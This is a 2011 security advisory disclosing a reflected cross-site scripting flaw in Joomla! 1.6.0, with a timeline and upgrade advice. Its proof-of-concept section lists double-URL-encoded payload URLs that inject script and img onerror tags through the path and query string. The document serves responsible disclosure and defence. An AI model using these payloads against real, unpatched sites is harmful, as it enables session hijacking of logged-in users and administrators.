========================================== Joomla! 1.6.0 | Cross Site Scripting (XSS) Vulnerability ========================================== 1. OVERVIEW Joomla! 1.6.0 was vulnerable to Cross Site Scripting. 2. PRODUCT DESCRIPTION Joomla is a free and open source content management system (CMS) for publishing content on the World Wide Web and intranets. It comprises a model–view–controller (MVC) Web application framework that can also be used independently. Joomla is written in PHP, uses object-oriented programming (OOP) techniques and software design patterns, stores data in a MySQL database, and includes features such as page caching, RSS feeds, printable versions of pages, news flashes, blogs, polls, search, and support for language internationalization. 3. VULNERABILITY DESCRIPTION The Query String parameter was not properly sanitized upon submission to the /index.php url, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSION AFFECTED Joomla! 1.6.0 5. PROOF-OF-CONCEPT/EXPLOIT >>> >>> SEO-enabled Joomla 1.6.0 http://attacker.in/joomla160/index.php/%2522%253E%253Cimg%2520src%253Da%2520onerror%253Dalert(String.fromCharCode(88,83,83))%253E09739572178%252F http://attacker.in/joomla160/index.php/using-joomla/extensions/components/search-component/search/'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E http://attacker.in/joomla160/index.php/contact-us/'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E http://attacker.in/joomla160/index.php/park-links?'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E=1 http://attacker.in/joomla160/index.php/using-joomla/extensions/templates?'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E=1 >>> >>> SEO-disabled Joomla 1.6.0 http://attacker.in/joomla160x/index.php?option=com_weblinks&view=category&id=18&Itemid=227&a86a9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9666d64388c=1 http://attacker.in/joomla160x/index.php?option=com_content&view=category&layout=blog&id=21&Itemid=268&%2522%253e%253cscript%253ealert%280%29%253c/script%253e=XSS This is the exactly same variant as shown in our last year demo video in 1.5.20: http://yehg.net/lab/pr0js/training/view/misc/joomla-1.5.20_encoded-xss/ We thought Joomla! team would fix this issue in 1.6.0 stable release whilst they fixed it in Joomla! 1.5.21! 6. IMPACT Attackers can compromise currently logged-in user/administrator session and impersonate arbitrary user actions available under /administrator/ functions. 7. SOLUTION Upgrade to Joomla! 1.6.1 or higher 8. VENDOR Joomla! Developer Team http://www.joomla.org 9. CREDIT This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. 10. DISCLOSURE TIME-LINE 2011-01-24: notified vendor 2011-03-08: vendor released fix 2011-03-14: vulnerability disclosed 11. REFERENCES Original Advisory URL: http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.6.0]_cross_site_scripting(XSS) Former Advisory URL: http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.5.20]_cross_site_scripting(XSS) XSS FAQ: http://www.cgisecurity.com/xss-faq.html OWASP Top 10: http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project CWE-79: http://cwe.mitre.org/data/definitions/79.html #yehg [2011-03-14]